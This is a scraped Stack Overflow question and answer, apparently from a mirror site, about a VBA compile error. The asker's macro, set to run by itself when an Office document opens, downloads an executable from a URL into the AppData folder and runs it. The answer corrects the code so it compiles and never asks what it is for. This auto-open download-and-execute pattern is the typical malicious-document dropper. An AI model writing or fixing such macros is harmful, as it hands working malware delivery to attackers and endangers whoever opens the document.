سؤال

Doing some simple VBA scripting and run into a bit of a roadblock. (I'm a very new VBA coder).

When I compiled the following code, I keep getting "Compile Error: Argument Not Optional" and yet I can't seem to find any errors (probably just my idiocy).

The code is supposed to download a file (I've just got the PuTTy executable for testing) and then load it into the AppData folder and execute.

Appreciate the help.

Sub Auto_Open()
input
End Sub

Sub AutoOpen()
Auto_Open
End Sub

Sub Workbook_Open()
Auto_Open
End Sub

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False 
pass.Send 'send request

Do While pass.readyState <> 4
DoEvents
Loop

helper = pass.responseBody

hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard

Dim temp
temp = Shell(pass3, 1)

Set pass = Nothing
End Function

Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub
هل كانت مفيدة؟

المحلول

Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.

Option Explicit

Sub AutoOpen()
    'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub

Sub Workbook_Open()
    AutoOpen
End Sub

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
    ' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
    Set pass = CreateObject("MSXML2.XMLHTTP")
    pass.Open "GET", pass2, False
    pass.Send "send request"

    Do While pass.readyState <> 4
        DoEvents
    Loop

    helper = pass.responseBody

    hard = FreeFile
    If Dir(pass3) <> "" Then Kill pass3

    Open pass3 For Binary As #hard
    Put #hard, , helper
    Close #hard

    Dim temp
    temp = Shell(pass3, 1)

    Set pass = Nothing
End Function

Sub someInput() ' you can't use input, it's a reserved work
    var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub
مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top